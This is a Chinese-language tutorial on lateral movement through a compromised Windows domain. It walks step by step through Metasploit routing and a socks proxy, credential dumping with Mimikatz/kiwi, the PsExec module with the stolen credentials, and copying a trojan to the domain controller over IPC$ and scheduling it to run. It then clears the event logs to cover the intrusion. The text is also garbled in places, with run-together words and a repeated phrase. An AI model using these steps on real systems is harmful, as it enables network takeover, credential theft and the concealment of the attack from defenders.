横向移动横向移动指在已攻陷目标主机前提下利用既有的资源尝试获取更多的凭据、域控主机的会话以达到控制整个内网和拥有最高权限的目的。横向移动的4种情况目标主机最高权限且能获取域控会话目标主机最高权限但无法连接域控主机目标主机没有最高权限但可以通过横向移动获取域控主机会话目标主机没有最高权限且内网没有横向移动的主机1. 代理路由功能将目标主机流量代理到本地访问代理路由可以穿透目标主机防火墙场景已经获取到域控主机 ip 地址段加入网段到当前会话的路由表run autoroute-s目标主机内网网段更改 kali linux 代理配置文件 /etc/proxychains4.conf[ProxyList]# add proxy here ...# meanwile# defaults set to torsocks4127.0.0.11080运行代理服务use auxiliary/server/socks_proxy测试代理路由能否访问内网主机使用端口扫描模块并配置扫描主机IP地址为域控主机IP地址use auxiliary/scanner/portscan/tcpsetrhost 域控主机ip run2. 通过 PsExec 获取域控主机会话PsExec可以在远程主机执行命令或程序的工具获取目标主机凭据load kiwi kiwi_cmd sekurlsa:: logonPasswords使用 PsExec 工具更改RHOSTS为域控主机IP地址、SMBDomain为域名、SMBPass为密码、SMBUser为用户名use exploit/ windows/smb/psexec exploit3. 通过 IPC$ 获取域控主机会话IPC(InternetProcessConnection)共享“命名管道”的资源1查看是否开启IPC(Internet Process Connection)共享“命名管道”的资源 1查看是否开启 IPC(InternetProcessConnection)共享“命名管道”的资源1查看是否开启IPCnet view net use\\DC\c$.#连接域控 IPC$2上传木马到目标主机3复制木马文件到域控主机copy 上传文件地址\\DC\c$3在域控主机上运行木马nettime\\DC# 获取域控主机时间at\\DC启动时间 域控主机的木马文件路径# 在启动时间运行除上述方法外还可以通过WMIC获取域控主机会话补充清除日志常见日志登录、审计、应用程序、网络、安全事件方法一Metasploit会话中输入clearev方法二Mimikatz扩展kiwi_cmd event::clear总结系统命令和敏感问题收集目标主机信息 —— Metasploit框架和Starkiller框架收集域控主机信息 —— PsExec、IPC$、WMIC等获取域控主机会话 —— 清楚目标主机和域控主机日志